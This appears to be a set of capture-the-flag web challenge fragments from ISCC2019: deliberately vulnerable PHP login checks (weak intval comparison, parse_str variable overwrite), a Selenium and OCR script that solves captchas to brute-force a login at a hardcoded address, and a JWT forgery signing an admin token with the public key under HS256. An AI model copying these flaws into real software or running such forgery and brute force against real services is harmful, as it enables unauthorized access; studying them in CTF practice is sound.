Web

 <?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);

import pytesseract
import requests
import time
from PIL import Image
from selenium import webdriver
'''
调用接口请求验证码，保存到本地，识别验证，检查识别的验证码对不对。
'''
driver = webdriver.Chrome()
driver.get("http://39.100.83.188:8002/")
driver.add_cookie({
'domain': '39.100.83.188:8002',
'name': 'PHPSESSID',
'value': 'alsrko26h2mlbmkgv54r4gpcf3',
'path': '/',
'expires': None
})
driver.get("http://39.100.83.188:8002/")
# 比较好理解、截图并保存到这个路径
driver.get_screenshot_as_file('./screenshoot.png')
# driver.close()
# 打开刚刚保存的图片
im = Image.open('./screenshoot.png')
# 设置要裁剪的区域（验证码所在的区域）
box = (0, 200, 130, 300)
# 截图，生成只有验证码的图片
region = im.crop(box)
# 保存到本地路径
region.save("./code.png")
# 读取验证码图片
image = Image.open("./code.png")
# 开始识别验证码
optCode = pytesseract.image_to_string(image)
# 打印出验证码
print("验证码：", optCode)
password = '999'
driver.find_element_by_name("pwd").send_keys(password)
driver.find_element_by_name("user_code").send_keys(optCode)
driver.find_element_by_name("Login").click()
print(driver)

 <?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
    $query = $parsed["query"];
    $parsed_query = parse_str($query);
    if($parsed_query!=NULL){
        $action = $parsed_query['action'];
    }

    if($action==="auth"){
        $key = $_GET["key"];
        $hashed_input = hash('sha256', $key);
        if($hashed_input!==$hashed_key){
            die("<img src='cxk.jpg'>");
        }

        echo $flag;
    }
}else{
    show_source(__FILE__);
}?> 

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

import jwt

public = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----'''
print public
print jwt.encode({"name":"zeddy","priv":"admin"}, key=public, algorithm='HS256')